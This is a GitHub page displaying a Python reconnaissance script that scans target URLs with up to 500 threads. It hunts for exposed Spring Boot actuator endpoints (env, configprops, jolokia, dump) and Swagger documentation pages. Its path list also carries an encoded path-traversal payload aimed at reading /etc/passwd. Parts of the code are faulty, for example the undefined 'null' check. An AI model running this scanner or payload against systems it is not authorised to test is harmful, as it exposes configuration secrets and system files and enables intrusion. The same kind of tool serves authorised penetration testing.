-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathspring_info.py
More file actions
171 lines (155 loc) · 5.24 KB
/
Copy pathspring_info.py
File metadata and controls
171 lines (155 loc) · 5.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import threading
import time
import sys,getopt
requests.packages.urllib3.disable_warnings()
threads = []
thread_max = threading.BoundedSemaphore(500)
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36; ',
'Connection':'close;'
}
def scan(url,flag):
try:
respon = requests.get(url,headers=header,timeout=3,verify=False)
respon_size = 0
if (respon.status_code == 200):
respon_size = len(respon.content)
if (respon_size == flag | flag == null):
sys.exit(0)
else:
now = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime())
print('[' + now + ']' + " " + 'code:[' + str(respon.status_code) + ']' + " " + 'size:' +'['+ str(respon_size) + ' B]' + " " + url )
except:
pass
thread_max.release()
def flag_size(url): #访问一个不存在的路径作为判断标准
url = url + 'hjahfjksahkfjsakfkjskjfh'
try:
respon = requests.get(url,headers=header,timeout=3,verify=False)
respon_size = len(respon.content)
return respon_size
except:
pass
def info(url):
if(url == ''):
print('Usage: spring_info.py -t <target> or -f <urls_file>')
sys.exit()
start = time.time()
now = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime())
print('strat_time: ['+str(now)+']' + ' ' +'['+ url + ']')
if (url[-1] == '/'):
url = url
else:
url = url + '/'
flag_size_info = flag_size(url)
# print(flag_size_info)
dir_spring = [
'actuator',
'auditevents',
'/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development',
'autoconfig',
'beans',
'caches',
'conditions',
'configprops',
'docs',
'dump',
'env',
'flyway',
'health',
# 'heapdump',
'httptrace',
'info',
'intergrationgraph',
'jolokia',
'logfile',
'loggers',
'liquibase',
'metrics',
'mappings',
'prometheus',
'refresh',
'scheduledtasks',
'sessions',
'trace',
'threaddump',
'actuator/auditevents',
'actuator/beans',
'actuator/health',
'actuator/conditions',
'actuator/configprops',
'actuator/env',
'actuator/info',
'actuator/loggers',
# 'actuator/heapdump',
'actuator/threaddump',
'actuator/metrics',
'actuator/scheduledtasks',
'actuator/httptrace',
'actuator/mappings',
'actuator/jolokia',
'actuator/hystrix.stream',
'api-docs',
'v2/api-docs',
'swagger-ui.html',
'api.html',
'sw/swagger-ui.html',
'api/swagger-ui.html',
'template/swagger-ui.html',
'spring-security-rest/api/swagger-ui.html',
'spring-security-oauth-resource/swagger-ui.html'
]
for i in dir_spring:
newUrl = url+i
newUrl = newUrl.strip()
thread_max.acquire()
t = threading.Thread(target=scan, kwargs={"url":newUrl,"flag":flag_size_info})
threads.append(t)
t.start()
for t in threads:
t.join()
end = time.time()
print('total_time: ['+str(end-start)+']'+'\n')
def logo():
logo = '''
___
_ _ /'___)
___ _ _ _ __ (_) ___ __ (_) ___ | (__ _
/',__)( '_`\ ( '__)| |/' _ `\ /'_ `\ | |/' _ `\| ,__)/'_`\
\__, \| (_) )| | | || ( ) |( (_) | | || ( ) || | ( (_) )
(____/| ,__/'(_) (_)(_) (_)`\__ | (_)(_) (_)(_) `\___/'
| | ( )_) |
(_) \___/' @KB-AT
'''
print(logo)
def main(argv):
target = ''
urls_file = ''
try:
opts, args = getopt.getopt(argv,"ht:f:",["target=","urls_file="])
except getopt.GetoptError:
print('Usage: spring_info.py -t <target> or -f <urls_file>')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('Usage: spring_info.py -t <target> or -f <urls_file>')
sys.exit()
elif opt in ("-t", "--target"):
target = arg
elif opt in ("-f", "--urls_file"):
urls_file = arg
else:
print('Usage: spring_info.py -t <target> or -f <urls_file>')
sys.exit()
if (urls_file != ''):
urls = open(urls_file)
for url in urls:
info(url.strip())
else:
info(target.strip())
if __name__ == '__main__':
logo()
main(sys.argv[1:])